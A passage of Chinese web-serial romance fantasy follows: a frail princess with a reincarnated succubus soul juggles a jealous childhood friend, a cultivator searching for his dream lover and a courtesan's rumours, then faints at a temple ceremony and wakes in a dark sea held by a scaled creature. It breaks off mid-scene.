本就有些风流韵事在身,为了少些是非,绯棠下了马车后便戴上了面纱。不过别人不认识她,却是对祁卿那张脸很是熟悉,如今见着祁大公子与她一并入了玖月楼,同行的还有一位身姿卓绝,容色皆是一绝的男子......
“那是谁啊?”
“戴着面纱看不清,不过她身边的不是祁大公子吗?”
“我看是,这祁大公子陪行的女子,瞧着年岁不大,莫非是.....五皇女殿下?”
“那另一个男子又是谁?莫不是...那醉仙楼的花魁?”
“不能吧,那身气度不像是花魁。”
整个帝都都知道皇女长宁体弱多病,极少出宫门。上一次出来还是在五日前,去的还是盛产美人的醉仙楼。据说便是在那儿与花魁有了风流事......
自那日后,坊间便流传着这样一个事儿,据说公主离开醉仙楼后,兰溪花魁的房间里就挂上了一幅画,画上是一个着红衣,面带薄纱的美人。
有人说......那是那日公主去寻兰溪,让其作的画。
还有人说......兰溪公子攀上了皇女,将来怕是要入宫做侧君的。
古往今来,吃瓜群众就喜欢吃这种瓜,一个个的竖起了耳朵,盯上了绯棠进入的包间。
玖月楼三楼,绯棠几人已经进了雅间内。
雅间布置得精美,整体以蓝白色调为主,风格偏于风雅。其间有一纱幔将用吃食的区域与稍宽敞的中间隔开,里面已经摆好了酒菜。
绯棠细细打量着里面的装饰,一边在桌边坐下,一边将脸上的面纱摘下来。
她能出宫的机会不多,虽然母皇允了她随意进出宫门的特权,可她身子骨差,之前并未亲自来过玖月楼。
“这地方倒是雅致,难怪大公子喜欢来这儿。”
“殿下喜欢就好。”桌上在他们进来前就已经摆好了酒菜。祁卿拿起玉做的筷子就夹了菜放到绯棠的碗中,“这樱桃肉殿下尝尝,看看与御膳房的口味比起来如何?”
绯棠轻轻咬了一口,“确实不错。”
“不过说起来饭食,本宫那大皇姐府中的厨子做菜,能做得比御膳房好吃。可惜本宫此前与大皇姐没什么交情,今日这菜倒是和那厨子的手艺有些相似。”
“是吗?”祁卿笑得滴水不漏,“那殿下今日可得多吃些,过几日便要与谢仙君一同离开帝都,可就尝不到这味道了。”
“不过殿下此去天玄宗,一路上有谢仙君照料,应是不会受苦。”祁卿轻轻朝着坐在他对面的谢迟砚点了点头。
见他又在朝着谢
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迟砚说话,绯棠眼皮跳了跳,余光瞧见坐在她右侧,坐得板板正正的谢迟砚,轻轻放下来筷子道:“这肉软嫩,谢仙君不妨试试?”
“好。”
不过谢迟砚夹了一筷子樱桃肉却没有送到嘴里,而是出乎绯棠的意料问她:“方才那位大皇女提起明日陛下要去承业寺为殿下祈福,这去的人有哪些?”
绯棠只以为他才到帝都就遇到这个事想了解一下,也没隐瞒,“这祈福本是钦天监敲定下来的,约莫是些皇亲国戚,世家公子贵女们。”
谢迟砚眉梢微动,“自古祈福祭天、祭地、祭神明便是为了保丰收、祈战胜利,亦或者祈求国泰民安。明日陛下要为了一人携百官祈福,是否有些......”
“这.....”绯棠倒是没想到他会这样问。
“谢仙君有所不知。”祁卿笑着插言,“殿下命格奇特,此前钦天监批过命,便道殿下若安然度过十八岁生辰日,又得以存活,于我南界便是一大幸事,殿下活着可佑我南界不为外敌入侵。”
“毕竟我南界虽对那些妖魔鬼怪有压制,可西北方向与无尽海域妖族相连的地界仍会产生动乱。明日的祈福往小了说是为了殿下的平安,往大了说就是祈求国泰民安。”
“竟是如此。”
确实是呢。
绯棠轻轻叹了口气,也不知道这钦天监的算得准还是不准。
她以前以为那都是假的,可现在绑定了系统要她去入梦赚取亲密值,现在是入谢迟砚的梦境,明日或许就要入哪个妖魔的梦境,说不准还真能在梦里和妖族打好关系,免了边境的动乱。
不过现在只是一个谢迟砚就已经很麻烦了,他都明晃晃地找来帝都只差一点就能把她抓出来,要是再来几个妖族、魔族的,恐怕他们能把南界给掀了!
绯棠连忙摇了摇头把这种可怕的想法甩出去,恰恰就在这时候听见谢迟砚问:“那明日去参与祈福的贵女之中......可有来自江阴,又来帝都投靠姨母的?”
绯棠看过去,一抬眼就对上谢迟砚幽深的眸子,“殿下该是知晓本君此言是为何意的。”
来自江阴...投靠姨母......?
“!”绯棠眼睫颤了颤,谢迟砚这又是在诈她呢!
她笑了笑,装作听不懂道:“谢仙君可是要寻你那心上人?”
“心上人?”
“这是何意?”什么都不知道的祁卿大为不解。
谁知谢迟砚敛下眸子,他清楚祁卿那温和的皮囊下藏着的阴冷,便趁着这机会要打消对方对他的防备,“祁大公子来得晚,还不知本君今日来帝都,一是为护送公主去天玄宗,二则是为了找寻心上人。”
说着,谢迟砚见祁卿因为他的话陷入了思索,又转而看向陷入紧绷的绯棠,意味不明道:“本君的心上人原是江阴人士,只是家中生了变故才来帝都投靠她的姨母,想来心上人姨母家中也是官宦人家,又听闻明日祈福这帝都的世家贵女皆会前往,才有此一问。”
祁卿面上的笑意真了几分,“竟是如此。”
眼看着祁卿抬起酒杯敬谢迟砚,两人和和睦睦地开始说话。
“谢仙君瞧着如同谪仙人一般。看不出来竟是有心上人的。”
谢迟砚神情冷淡,可是在说起心上人时一贯冰冷的眸子里也有了温度,“本君的心上人名为绯棠,便是来帝都投靠姨母的,或许祁大公子曾见过她也不是没有可能。”
“是有这可能,卿会为谢仙君留意着,若寻到线索,必定会告知谢仙君。”
祁卿话里话外的,不外乎就是会帮谢迟砚找他的心上人。
绯棠:“......”
什么江阴来的,又投靠姨母,那都是她瞎编的!
心里慌,她藏在袖子里的手使劲掐住大腿,一边控制住表情落落大方。
眼神却偷偷往外面看了看,悄悄估摸着能不能找个由头赶紧离开这儿。
可恰在这时候,谢迟砚与祁卿一起喝了酒,又倒满酒来抬起酒杯看向她,“为了能寻到心上人,本君想与殿下一同前去承业寺,不知殿下可否应允?”
绯棠:“......”
这算什么?和他的心上人本人去承业寺找他的心上人?
10. 第 10 章
她默了默,才开口说话,“仙君想一同前往本宫自是应允的。”
“只是谢仙君从北境来此本就一路舟车劳顿,仙君与本宫不日便要启程前往天玄宗。明日祈福便是要在承业寺过夜的,加之祈福本就礼仪繁琐,本宫觉得......”
“无妨,本君心甘情愿。”
绯棠:“......”
祁卿见她这般表现,自以为她是心善为了谢迟砚考虑,便自发接着她的话说,“殿下是想让谢仙君休整一番,若谢仙君想寻心上人,卿倒是与各家公子贵女们还算熟络,明日可为谢仙君打听打听消息,或许仙君的心上人还真在也说不定呢。”
谢迟砚眸子里闪过几丝深意,“那便......谢过祁大公子了。”
祁卿:“好说。”
他们两个倒是看起来交谈甚欢,而绯棠只能扯了扯嘴角,拿起筷子夹菜吃来掩饰心里的慌张。
雅间内暖光融融,青瓷碗盏里的热汤冒着细白水汽。
没过多久,外间忽然飘来清越的丝竹声。
三人不约而同地顺着声音传来的方向看过去,纱幔轻垂的另一侧,一道红衣身影随乐声而来。
这时候,祁卿突然看向绯棠,眼底掠过几丝不易察觉的暗色,面上却依旧温和,“这是卿特意为殿下请来的舞姬,据说舞技一绝,殿下可要好好看啊。”
绯棠若有所感地对上他的视线,“大公子还请了舞姬?”
可看跳舞就看跳舞,他话间怎么怪怪的?
祁卿只是温和一笑,“殿下仔细看看便知道了。”
纱幔外,那红衣美人在舒展,舞蹈。广袖如燃着的流云般拂过地面,动作间只隐约见得腰肢轻折、足尖点地的弧度。
他脸上覆着层薄如蝉翼的面纱,隔着朦胧纱幔,连眉目的轮廓都变得柔和,唯有腰间银铃随舞步轻响。
绯棠因为祁卿的话认真地看他跳舞,可不知道是不是错觉,绯棠总觉得他舞动之间眼神在看她,似仙似媚的神态哪怕是隔着纱幔也能看出一二。
“殿下觉得他跳得如何?”祁卿幽幽道。
绯棠默了默,片刻后才道:“本宫不懂得舞蹈,只觉得他跳得好看,想必面纱下的面容也是极好看的。”
祁卿又笑了笑,“的确如此。”
那舞还在继续,坐在绯棠右侧的谢迟砚对这祁大公子的做法只是旁观。
他是修士,在帝都虽然没法使用术法,可五感比常人强得多了,这一路来听见的传言也多。
里面有关于长宁公主与花魁的艳事他也不是没听过,观这祁大公子如今的表现,今日怕是要公主做出决断。
可又想到那让他寻不着痕迹,连入梦相见都是被动的“绯棠”,谢迟砚一时间眸色幽幽。
这长宁公主看起来倒不似谣言那样风流,一举一动间皆得体有礼。可她虽与“绯棠”从性格上是不同的,明明他们也只是第一次见,他却在面对她时会不自觉地放松心理防线,还对她生不起一丝恶意。
这与面对“绯棠”时一模一样。
谢迟砚缓缓抬眸看着绯棠,若眼前之人当真是那入他梦境、扰他心神,让他牵肠挂肚之人,就今日之事,只怕他做得会比祁大公子过火。
席间一白裙、一白衣、一青衫。看起来还算和谐,可这里面却坐着两头披着羊皮的狼。
绯棠突然间觉得背脊有些凉凉的,控制不住地缩了缩脖子。
珠帘外,那舞也到了尾声,清冽的丝竹声渐渐消失。
绯棠就见到那原本要退出去雅间的舞姬,在转身时不小心左脚绊住右脚,“啪”的一声,来了个平地摔。
房间里一时间静了下来。
片刻后,只听见祁卿幽幽出声,“哟,这么宽敞、平坦的地方也能摔倒,看来你这舞蹈功底还不到家啊......”
绯棠有些不理解地看向祁卿,不明白他对这舞姬怎么会有这么大的敌意,嘟嚷道:“本宫虽然不懂得舞蹈,但他或许不是故意的呢。”
这话一出祁卿嘴角勾起的幅度往下了些,那眼眸里面蕴着的分明是恼意,“殿下说他不是故意的?”
他看向她,“殿下倒真是“天大的好人”呢,也难怪是人是鬼的都想攀上来。”
绯棠:“......”
这眼神怎么感觉她好像做了什么对不起他的事一样?
“你今日为何如此古怪?”她瞪他。“大公子若想做什么大可光明正大地表现出来,何必这般打马虎眼。”
这话一出祁卿眸色一暗,“殿下。”
“殿......殿下!殿下莫生气。”一道声音打断了祁卿要说的话。
绯棠顺着声音看过去,纱幔后面,是那舞姬在唤她。
“没事的......”他侧对着她,似乎是知道她在看他,如今正怯怯地抬头看她。
巧的是,脸上的面纱在他抬眸的刹那间顺势滑落下来。
珠帘纱幔后面,一身绯红,与那日去醉仙楼的绯棠很是相似的衣衫,面纱滑下后露出的是仙而媚的一张脸。
正是兰溪。
“兰溪?你怎么.......”绯棠登时转头看向祁卿,便见着祁卿以笑脸相迎,只是那笑却莫名让她觉得毛骨悚然。
“殿下可明白卿为何会将人带来此处?”
绯棠当即想起近几日的传闻。都在传她与花魁的荒唐事,还说她会娶了兰溪......这下子明白祁卿为什么会这么奇怪了,原来是在这儿等着她呢。
她又转头看向珠帘外的兰溪。
“殿下。”兰溪站了起来,却轻轻垂着眼眸,不敢直视绯棠,温顺道:“今日楼主说有客人邀兰溪来此献舞,兰溪...自那日一别,兰溪...兰溪很想再见殿下。”
说话间他白皙的脸颊上竟染上了薄红,还羞涩地偷偷看她。
绯棠:“......”
这话说得好像他们那日真的做了什么一样!
可她那日明明只是问他关于谢迟砚的身世,还以作画来掩饰。现在倒好,说都说不清了。
她没说话,就听见左侧的祁卿出声道:“是啊。就是卿“特意”请的兰溪。”
听着声音他好像依旧是笑着的,估计还笑得很好看。
可绯棠却忍不住打了个寒颤,这家伙平日里笑得越灿烂,就是越生气,恐怕心里在憋着什么坏主意等着她呢。
绯棠干巴巴地笑了笑,只能对着兰溪道:“舞跳得不错,兰溪,你可以出去了。”
“殿下......”兰溪有些失望地看她。
绯棠严肃道:“出去。”
兰溪只能垂下眉眼,不舍道:“是...兰溪这就出去...”
“等等。”
绯棠又突然出声喊他,这一声把这雅间里面三个男子的目光都吸引到了她身上。
谢迟砚在看戏。
祁卿眸色晦暗。
兰溪眼含期待。
却见到绯棠面色微沉,正色道:“兰溪,我那日去寻你作画不过是因为你是上一届花魁之首。那日我与你相处的时间算下来还不过一柱香,只是让你画了一幅海棠花。”
她神情严肃,“除此之外并无别的,你可记得?”
绯棠板着脸,端着气势时皇女的威严自是不轻,兰溪哪儿还敢耍小心机,“是.......是...兰溪记得。”
他这几日因着乘了皇女的东风,这皇女还是陛下最宠爱的公主,又与国运相连。让他体验到了前所未有的尊重与谄媚。
今日听着可以见到长宁公主便想乘机坐实谣言。可却没想到公主竟会与他将谣言澄清。
兰溪眸色微凉,颤颤巍巍地越过珠帘看向里面的绯棠,却觉得那祁大公子的目光很是阴冷,里面全然没有往日的
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温和,全是对他的不喜。
兰溪瞬息间又垂下眉眼,“兰溪再也不敢了。”
绯棠若有所感地看向祁卿,知晓他不喜兰溪,收回视线之际便轻轻叹了一口气,“行了,你出去吧。”
兰溪慌忙间退出去。
不过人是走了,祁卿看着,心里却不大爽快,“殿下就这么饶了他?”
绯棠拿起酒杯轻轻抿了一小口,“不然呢?本宫还能将他砍了不成?”
祁卿眸色晦暗,“胆敢散布谣言,毁坏皇女清誉。殿下就是治他个藐视皇家威严的罪也不为过,砍了又有何不可?”
绯棠轻轻摇了摇头,将酒杯放在桌上看向他,“或许他事先并不知晓谣言会传得像现在这般离谱。”
祁卿不愿,“殿下!这不能成为宽恕他的理由。”
绯棠默了默,垂下眸子看手中的酒杯,嗓音有些晦涩,“大公子,这世上的每个人都无法选择自己的出生。或是普通人家,或是世家贵族,有父母庇佑安然长大成人的也算顺遂,可最最苦命的便是生来孤苦无依。”
“兰溪......他本就身陷囹圄,我又何必把他往深渊去推?”
这话一出,瞬间让谢迟砚原本没什么情绪的眸子微微一动。
祁卿看着她,眼神也是变了变,“殿下当真是个活菩萨。”
“活菩萨?”
绯棠摇了摇头,小声嘟嚷着,“我才不是什么活菩萨......”
她不过是想到前世还是魅魔的时候看见的,明明同样的一件艳事,对女子和男子的影响与这个地方却是天壤之别。
她是魅魔时能不管那些风言风语,活得自在。可别人与她不一样,普通人终究还是会被世俗的眼光所影响。
她又不是没听见有人说兰溪是下贱胚子,必定是耍了心机才攀上的她,如此类的话只多不少。
这话说得小声,但谢迟砚和祁卿都听见了。
祁卿看着她的眼神更柔和了,他的殿下当真是......心善,又天真。
谢迟砚垂着眼眸,指尖轻轻地摩挲着杯沿,不知在想着什么。
一时间这雅间里面没人再说话。
酒足饭饱,窗外的斜阳不知何时已经落了下去。
墨色的天幕里,浅浅的银色冲破黑幕,是一轮圆月高悬。
长宁殿。
“殿下,这是明日祈福要穿的衣衫。”
绯棠已经将脸上的妆容卸下,看着铜镜里的红衣美人轻轻点了点头,“好。那小仙君已经睡下了?”
徐女官将祈福要穿的金色衣袍妥帖放好,一边回复,“是,谢仙君已在偏殿住下。”
一听这话绯棠又叹了口气,也不知母皇是怎么想的,就把谢迟砚丢她这长宁殿了,大有一副让他们提前适应一同去北上的意味在。
“行了阿荣,你先下去歇息吧,明日还要去承业寺。”
“是。”
另一边,青岚殿。
“公子。”
香炉上轻烟袅袅,祁卿端坐在桌案旁,提笔蘸墨在白纸上画着什么。
“处理好了?”
“是,已将那花魁送出了帝都。”
祁卿粘了粘红色颜料,为那画中人画唇,“行了,你暂且退下吧。”
“公子......”那侍从似乎还有话说。
“怎么?”祁卿转头看他,面上并无对外的温和笑意,只余淡漠。
侍从连忙垂下头,“属下...属下只是觉得对那花魁何必如此仁慈,直接杀了岂不是更省事?”
“杀了?”祁卿低声笑着,眼中的冷意在看向画纸上的人时散去了。
他抬手去抚摸着画中人,摇了摇头,“不可,殿下心善不要他的命,我又何必违了她的愿。”
“可他胆大妄为竟将念头打到殿下身上,不罚他...本公子心中实在不爽。”
11. 第 11 章
......待到天边又泛起浅白色的光,月亮便轻轻褪了色。
西郊。
晨雾还未散尽,承业寺的飞檐下已悬起新拭的铜铃,风过时空荡的梵音里,僧人们身着浆洗得泛着柔光的赭色僧袍,按序立在青石甬道两侧。
寺外的银杏树下,小沙弥早已扫净了落叶,连石阶的缝隙都仔细拂过,只待那队明黄的仪仗。
山下,一行人踏破晨雾而来。
“长宁昨日去了玖月楼?”
绯棠与女皇同坐在一辆马车内,本来因为早起有些困倦的,突然听见女皇这般问,打着哈欠道:“是啊。昨日大公子在玖月楼为儿臣设了宴。”
女皇一袭黑金龙袍,见她这般懒懒散散的模样忍不住皱眉,“好歹也是皇女,这般懒散样子怎能为外人所见?”
却见到绯棠轻轻点了点头,“是是是,母皇说的对。皇女就该有个皇女的样子。”
她靠近去抱住女皇的手臂,软软道:“可儿臣现在只是您的小女儿,哪还需要维持那些样子。”
母皇向来拿她没辙,“你这小滑头,就知道躲懒。你那两个姐姐在我面前可不敢这样。”
那肯定的啊,她这个吉祥物还是找得准自己的位置的。
不过这话可不能说。
“两位姐姐自小便比我优秀,母皇对她们要求高了,她们自然不会在您面前有所松懈。”
女皇哪能不知她是什么心思,指尖一动便戳着绯棠的额头将她的脸抬起来,没好气道:“少贫嘴,朕看你是疲于早起、烦于课业。”
绯棠讪讪一笑,“还是女皇懂儿臣。不过儿臣也并未落了皇家威严不是。”
这事说来确实稀奇。
每位国子学的师傅提起五皇女就头疼,可却没有一个真正不喜她的。
原因就在于这五皇女平日里虽常常在课上睡觉,可她每次小考都能过。
而且对几位国子学的太傅很是尊敬,从不端着皇女的架子轻视于人。
今日这祈福来的皆是皇亲国戚,其中不乏与绯棠一同在国子学听学的世家公子贵女们。
这不,绯棠才同女皇下了马车,进了承业寺,到了厢房。
便见着与她最为熟络的安嘉郡主。
“殿下!”
与女皇站在一处的绯棠顺着声音看过去,便见着厢房门口与好几个面熟的贵女待在一处,一身紫色衣裙的落安嘉。
落安嘉是她的表妹,自小与她是一同长大的,平日里关系最为要好。
如今一见到她,绯棠笑着唤她,“安嘉妹妹。”
不过她又看向母皇,“母皇,儿臣与安嘉妹妹许久未见了,可否先过去?”
这整个寺庙为了接下来的祈福做足了准备,但祈福的吉时未到,女皇也没想拘着他们,便示意绯棠想去便去。
不过她也看向一直安静站在她身侧的大皇女,“明曦也可去与那些贵女熟络熟络。”
听女皇这般说,大皇女抬眸去看了看已经走到落安嘉身边,和落安嘉交头接耳,不知道听见了什么就捂着肚子笑得不知天地为何物的绯棠。
“......”大皇女皱眉,她有些时候真想撬开长宁的脑袋看看里面装的到底是什么,竟然能让她贵为皇女,却能不顾形象地放肆玩乐。
不过她虽然嫌弃,嘴上却道:“长宁与安嘉自小便关系不错,想来有安嘉在是不会出什么变故的,待到祈福时儿臣再与长宁一道,护好她便是。”
绯棠是皇女中最喜玩乐的,能和她玩到一处的落安嘉自然不是什么克紧守礼的,两人待在一处时向来是想一出是一出。
寻了处无人的亭子坐下,落安嘉便上下打量着绯棠。“几日不见殿下这精神状态还不错嘛。”
绯棠今日着一身金色衣裙,妆容华美,她本就生得美,这身装扮落在她身上便如同话本子里的神女来到了现实世界。
可惜这种面容也因着美得如梦似幻,若叫心怀不轨之徒看了去,恐生出事端来。
如今便以金色的面纱遮面。
落安嘉看着那双露出的眼眸,呆了一瞬。
才继续道:“真是奇了,我与殿下明明只是几日不见,怎觉得殿下像是有了很大的变化?”
绯棠轻轻弯了弯唇,朝着她挑眉,只眨动一只眼睛调戏道:“是不是觉得你家长宁姐姐变得更好看了?”
落安嘉兀地顿了顿,盯着这张在她面前突然放大的美人面,脑袋里都是她没戴面纱的模样,忍不住咽了咽口水。“倒也不是变好看了,明明脸还是那张脸,只是感觉......有些奇怪。”
“奇怪?怎么会奇怪呢?”绯棠笑得狡黠。
她当然知道是因为什么,自然是因着她如今这具躯体已经和她的魅魔灵魂彻底融合。那种由内而外、似有似无的魅惑之力最是能让人不自觉对她产生好感。
不过她只是想逗逗落安嘉,现在便适可而止地撤开来,施施然理了理袖口,“好了不逗你了,快跟本宫说说,你这一回去江阴发生什么好玩的事了?”
落安嘉看着绯棠,想了想,没按她说的回,而是抬手就搭在绯棠的肩膀上,扬起笑容颇有些调笑道:“先不说江阴了,说说殿下呗。安嘉可是听说殿下昨日在玖月楼的事迹,说说看,殿下到底喜欢哪一个?”
绯棠:“?”
她无语地把她搭在她肩膀上的手拉开,“什么喜欢哪一个,你随舅舅去江阴这才回来,怕是风言风语听多了。”
“诶?”落安嘉看了看被她拉开的手,不满道:“再是风言风语,那也是依据某些事实而来的,我可是听说昨日与殿下在玖月楼的可有三人。”
落安嘉大有一副坦白从宽,抗拒从严的架势,“以你我的关系,殿下还能瞒着我?赶紧的,说说你最中意哪一个,是那娇媚的醉仙楼花魁?还是咱们世家公子之首的祁大公子?亦或者......是那前来接你去天玄宗,那瞧着光风霁月的小仙君?”
“......”绯棠无语地瞪她,没说话。
落安嘉却道:“看来殿下是都喜欢啊?”
她摸着下巴沉思着道:“倒也不是不可以,毕竟咱们女子向来三夫四侍,就是殿下得想想哪个作为正君。”
“不过我个人是站在祁大公子那儿的,大家同在一个学堂听学,这么多年了,也知根知底的。他确实够格当你的正君。”
“落安嘉!”见她一副若有所思的模样,绯棠伸出指尖用力戳了戳她的额头,“什么三夫四侍的,你又不是不知道我的身体状况!我都不知道会在哪一日脚一蹬就归西了,哪还有心思娶夫......”
落安嘉震惊地看着她,“殿下不是...没事了吗?”
绯棠摇头表示不是。“我如今的模样只是暂时的好转,想要活得长久并不容易。”
就目前为止,她只能赚取亲密值来兑换存活时间,一旦没法赚取亲密值了,她就会死去。
见她说话不像是骗人的,落清嘉瞬间没了方才的嬉笑,脸色都严肃了,“怎会如此,怪不得陛下仍是要为殿下祈福,还去信北境让天玄宗宗主为殿下治病。”
“竟是因此......”
“就是这样的。”绯棠轻轻拍了拍她的手,“不过本宫现在不是没事嘛,别太担心。”
另一边,一行人也到了不远处的廊道上,那些公子们也注意到了和落安嘉
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待在一处的绯棠。
他们隔得有些远,只看得见皇女与郡主交谈甚欢,“五皇女瞧着模样想来身体是大好了。”
“废话,若是身体不好如何能去醉仙楼?”
“咦......柳家公子这消息有些滞后啊,听说昨日五皇女去了玖月楼,还专程与那醉仙楼里面的花魁当面将谣言澄清了。五皇女那日去醉仙楼明明只是去寻人作画。”
几个公子一听这话面面相觑,其实依照他们印象中的五皇女来看,她平日里体弱多病、确实是个玩心重的,却也不是什么好色之徒。
如今知道她去花楼找花魁不为别的,只为作画......倒真是她能做出来的事。
“可我怎么听说......那日在玖月楼的,可是还有第四个人。”
“谁?”
“自然是.......”
几人的目光一时间转向最前面,与祁卿待在一处的谢迟砚身上。
“他便是北境来的仙君?”
一袭白衣似雪,长身玉立,瞧着确是仙人之姿的谢仙君,倒是与并肩而行的祁大公子不分伯仲。
谢迟砚今日是与祁卿乘一辆马车来的承业寺。
“谢仙君方才找了许久,可有寻到你那心上人?”
着素青衣袍,发间以一支玉簪半盘,余下的墨发披散,两股发丝随意地放在额边,瞧着风度翩翩的祁卿见谢迟砚在各家贵女中找寻了许久,那皱着的眉头便没有松下来过。
“谢仙君不必忧心,卿昨日说过会助你寻人,自是不会食言。”
谢迟砚听言将目光从绯棠的身上收了回来,看向他,“多谢祁大公子。”
“好说。”
祁卿也没将视线过多放在他身上,转而又看向与落安嘉说话的绯棠,“不过卿好像记得谢仙君的心上人是江阴来的?”
“是。”
祁卿勾了勾唇,目光才分开几丝到旁人身上,“说来也巧,那安嘉郡主的母家便是江阴来的,郡主昨儿才从江阴回来,若要说是了解谁家贵女是从江阴来的,只怕没人会比安嘉郡主清楚。”
“看那儿。”祁卿示意谢迟砚看向绯棠身边的落安嘉,“那位便是安嘉郡主。”
谢迟砚眸色微微动了动,就听见祁卿说:“卿可为谢仙君牵线,不过卿也希望谢仙君能帮卿一件事。”
“何事?”
祁卿转头看向绯棠所在的地方,又轻轻叹了一口气,嘴角的笑意竟多了几分苦味。“不瞒谢仙君,卿与殿下是自小一同长大的,卿对殿下甚是喜爱,本是该有婚约的。可此前殿下因着那“活不过十八岁”的传言拒了她与我的婚约。”
“如今哪怕是活过了十八岁,殿下却仍是惧怕之后的某一日又会仙去,恐误了我,她便更不愿与我有瓜葛......”
谢迟砚眉梢微动,“是以?”
“是以......”祁卿抬眸看谢迟砚,笑得滴水不漏,“还望谢仙君此去北境护好殿下,也只需行好护送之职。”
切勿生了旁的心思。
谢迟砚听懂了他没说的话,眸色微微暗了暗。
看来他要找寻心上人的话没让这祁大公子彻底放心,在这儿敲打他呢?
“大公子言重了,送殿下前去天玄宗本就是师命,本君自会尽心而为。”
祁卿嘴角的笑意又深了深,“那便最好不过了。”
不怪他放心不下,他的殿下身上有一种魔力,最是会让人神不知鬼不觉地喜欢上......
谢迟砚是要找他的心上人。
可若是谢迟砚在路上忘了心上人转而对殿下起了心思,殿下只是凡人,如何能敌得过修士?
12. [锁] [此章节已锁]
“殿下。”
绯棠还在听着落安嘉说她在江阴发生的趣事,听得正起劲呢,就听见有人在唤她。
转头一看,就见到祁卿与谢迟砚一并进了她们所在的亭子里。
“你们怎么来了?”
祁卿朝着她们行礼,“卿与谢仙君恰好路过此处,无意间看到殿下和安嘉郡主在此处,便前来拜见。”
绯棠看着他们两个,总觉得有种不太好的预感,连忙道:“见过了,你们...还有何事?”
没事就赶紧离开!
不过事情总是事与愿违的,本来就带着目的来的,祁卿和谢迟砚怎么可能会轻易离开,只能装作听不懂。
绯棠见他们杵在那儿,都盯着她看,头都大了。刚想说点什么把他们打发走,就听见身边落安嘉看热闹不嫌事大的声音,“没事就不能留下吗?”
“......”绯棠转头瞪落安嘉,落安嘉朝着她眨了眨眼睛,“殿下,我看他们似乎真的有事才来的,不如就听听祁大公子和这位仙君有何事?”
祁卿温声道:“卿此行确实有事。”
绯棠硬着头皮看向他们,“何事?”
祁卿笑着道:“倒也不是什么大事,就是谢仙君听闻安嘉郡主乃是江阴来的,恰好谢仙君的心上人便是江阴人士,谢仙君寻不到心上人,特来向郡主打探打探心上人的消息。”
“......心上人?”
落安嘉震惊地看向绯棠,“他还有心上人?”
绯棠:“......”
是呢,谢迟砚有心上人,而且心上人就是她......
绯棠一时间不知道该怎么跟落安嘉说,因为她在梦境里面编的身世有些就是从落安嘉身上来的。
谢迟砚适时出声,“本君的心上人便是从江阴来的,只是幼时家中生了变故,来帝都投靠姨母。想来心上人姨母家中也是官宦人家,才想向郡主打探一番。”嗓音有些晦涩。
落安嘉莫名觉得这谢仙君说的话好像是对她说的,可他的目光却是在看她家殿下。
“你......”
落安嘉不知道该怎么说,又看向绯棠。
她和绯棠关系最为要好,女儿家私下里什么话都说过,彼此是什么样子彼此也最为熟悉。
如今一看,她就发现绯棠有些不对劲,出于不管发生了什么事她都站在殿下这边的心,落安嘉连忙站起身来,将祁卿和谢迟砚的目光吸引到她身上。
“竟是如此。”
落安嘉端起来架子,正色道:“想不到谢仙君是北境来的,竟还有个心上人在帝都。”
“本郡主......”落安嘉故作思索道:“这从江阴来帝都的贵女,本郡主的印象中,好像是有...”
“咳咳!”还坐在椅子上的绯棠突然捂住口鼻上气不接下气地咳嗽了起来,“安嘉...咳...咳咳......”
“殿下,殿下你没事吧!”
绯棠咳嗽着,紧紧抓住落安嘉的手,“安嘉...我难受。”
“殿下,殿下!”
绯棠在她慌乱的呼喊和祁卿谢迟砚难以置信的眼神中,竟猛地卸去力气晕倒过去。
“来人啊,快传御医!”
落安嘉本以为她是装的,可这模样太过逼真,她记忆中还记得绯棠突然发病晕倒的事,如今见她这般模样只以为病情又重了。
“快传御医!”
亭子里一时间乱成了一片,绯棠这病来得突然,落安嘉的反应也不像是假的,祁卿和谢迟砚也慌了神。
谁都忘了刚才还要问的话,想知道的事,只能看着落安嘉将绯棠抱着往厢房里走。
厢房。
人流来来往往,所有人都被长宁公主突然发病给打了个措手不及。
“我与殿下只是在亭中小歇,说些话,殿下突然间咳嗽起来便晕了过去。”
落安嘉被吓得三魂七魄都快散了,“殿下......殿下不会有事吧?”
祁卿脸上一贯的笑意都没了,满是凝重担忧地看着里间。
谢迟砚不知在想着什么,眉头紧紧皱着,眉眼间难掩焦虑。
女皇身边的女官担忧道:“陛下,殿下这病来得突然,今日的祈福可要......”
女皇紧皱的眉头因为这慌成一片的众人皱得更紧,心中更烦躁,“慌什么!朕的长宁福泽深厚,祈福一事一切照旧,去,你去让钦天监的苏宿来见朕。”
里间,屏风内,御医神情凝重地为绯棠把脉,额头上的汗珠因为脉象越来越多。
“这可如何是好?殿下这脉象分明是濒死之像啊......”
“殿下方才还好好的,怎会这般突然?”
床榻上,窗外的日光照亮了榻上的美人,可明明方才还面色红润,眼神明亮的绯棠,如今竟唇色发白,奄奄一息。
天可怜见。
绯棠原本只是想装病糊弄过去的,可刚才咳嗽着竟从假装变成了真的,后面耳鸣声响起来,猛地上不过来气晕死过去了。
如今她只觉得自己身处在一个黑漆漆,看不见一点儿光亮的地方。
大声喊着系统也没有回应,也没觉得有危险,只能伸出手来凭感觉、摸索着往前走。
也不知道这是个什么地方,只觉得周身像是被什么液体包裹着,凉凉的。
不知道走了多久,恍惚间好像听见了海水流动声,似乎还有什么东西在摆动水流。
[滋....系统#℅*滋......系统重连成功。]
“系统?”
[宿主,刚才我被一股不明力量扰乱了能量,一时间和你失去了联系,我也不知道这是个什么地方,宿主一切小心。]
一听这话绯棠更不敢往前走了,这时候,周围突然间有了微弱的光亮,像是有许多闪烁的星星散落在周围,还能游动。
突然间,绯棠只觉得腰间被什么东西给缠着,整个人猛地被带着往前走,“啪”的一下落在了一个滑滑的、硬硬的东西身上。
沉重的喘息声随之响了起来,擦着她的耳垂,“找到你了......”
绯棠只觉得腰间被两只臂膀死死缠住,身下之人像是找到了被他遗失的珍宝一般将她抱得死死的。
“你...你是谁?”看不清楚这是什么,她不敢动,只能颤颤巍巍地伸出手去往身下摸索。
触碰到的是属于人体的肌肤,却没有人类该有的温度。
绯棠咽了咽唾沫,以为自己撞到鬼了,刚想收回手整个人又被他往下压了压,与他贴得紧紧的,手下没控制住就摸到了滑滑的,形似贝壳状的......鳞片?
这是什么妖怪!
吓得她连忙将手收了回来。
“呵......”似乎是觉得她的表现很有意思,他笑着。笑声像被轻轻压在喉咙里,是细碎又克制的低哑气音,像羽毛轻轻扫过心尖,带着点隐秘的温柔。
可什么也看不见的绯棠听着只觉得头皮发麻,连身体都僵住了。
“别怕。”他伸手来轻轻抚摸着她的背脊,似乎想要安抚她,可绯棠只觉得自己像是砧板上的肉只能任由他操纵。
“你是谁......你想做什么?”
绯棠紧紧闭着眼睛,只感觉到左边脸颊上
